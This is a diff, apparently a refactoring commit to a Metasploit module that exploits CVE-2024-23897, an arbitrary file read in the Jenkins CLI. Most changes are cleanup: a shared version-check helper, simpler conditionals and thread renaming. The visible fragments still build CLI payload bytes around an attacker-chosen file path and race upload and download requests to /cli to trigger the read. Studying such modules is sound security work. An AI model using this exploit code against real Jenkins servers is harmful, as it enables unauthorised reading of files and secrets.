@@ -92,31 +92,10 @@ def initialize(info = {})
92
92
)
93
93
end
94
94
95
- # Returns the Jenkins version. taken from jenkins_cred_recovery.rb, upgraded to work with newer versions
96
- #
97
- # @return [String] Jenkins version.
98
- # @return [NilClass] No Jenkins version found.
99
- def get_jenkins_version
100
- uri = normalize_uri ( target_uri . path )
101
- res = send_request_cgi ( { 'uri' => uri } )
102
-
103
- unless res
104
- fail_with ( Failure ::Unknown , 'Connection timed out while finding the Jenkins version' )
105
- end
106
-
107
- # shortcut for new versions such as 2.426.2 and 2.440
108
- return res . headers [ 'X-Jenkins' ] if res . headers [ 'X-Jenkins' ]
109
-
110
- html = res . get_html_document
111
- version_attribute = html . at ( 'body' ) . attributes [ 'data-version' ]
112
- version = version_attribute ? version_attribute . value : ''
113
- version . scan ( /jenkins-([\d .]+)/ ) . flatten . first
114
- end
115
-
116
95
def check
117
- version = get_jenkins_version
96
+ version = jenkins_version
118
97
119
- return Exploit ::CheckCode ::Safe ( 'Unable to determine Jenkins version number' ) if version . nil? || version . blank?
98
+ return Exploit ::CheckCode ::Safe ( 'Unable to determine Jenkins version number' ) if version . blank?
120
99
121
100
version = Rex ::Version . new ( version )
122
101
@@ -152,7 +131,7 @@ def parameter_one
152
131
def data_generator ( pad : false )
153
132
data = [ ]
154
133
data << request_header
155
- data << parameter_one if pad == true
134
+ data << parameter_one if pad
156
135
data << [ datastore [ 'FILE_PATH' ] . length + 3 ] . pack ( 'C' ) . to_s
157
136
data << "\x00 \x00 "
158
137
data << [ datastore [ 'FILE_PATH' ] . length + 1 ] . pack ( 'C' ) . to_s
@@ -167,7 +146,7 @@ def upload_request(uuid, multi_line_file: true)
167
146
168
147
# In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
169
148
# which is required for successful exploitation
170
- Rex :: ThreadSafe . sleep ( datastore [ 'DELAY' ] )
149
+ sleep ( datastore [ 'DELAY' ] )
171
150
res = send_request_cgi (
172
151
'uri' => normalize_uri ( target_uri . path , 'cli' ) ,
173
152
'method' => 'POST' ,
@@ -277,10 +256,10 @@ def run
277
256
print_status ( 'Re-attempting with padding for single line output file' )
278
257
use_pad = true
279
258
threads = [ ]
280
- threads << framework . threads . spawn ( 'CVE-2024-23897' , false ) do
259
+ threads << framework . threads . spawn ( 'CVE-2024-23897-upload ' , false ) do
281
260
upload_request ( uuid , use_pad )
282
261
end
283
- threads << framework . threads . spawn ( 'CVE-2024-23897' , false ) do
262
+ threads << framework . threads . spawn ( 'CVE-2024-23897-download ' , false ) do
284
263
download_request ( uuid )
285
264
end
286
265
0 commit comments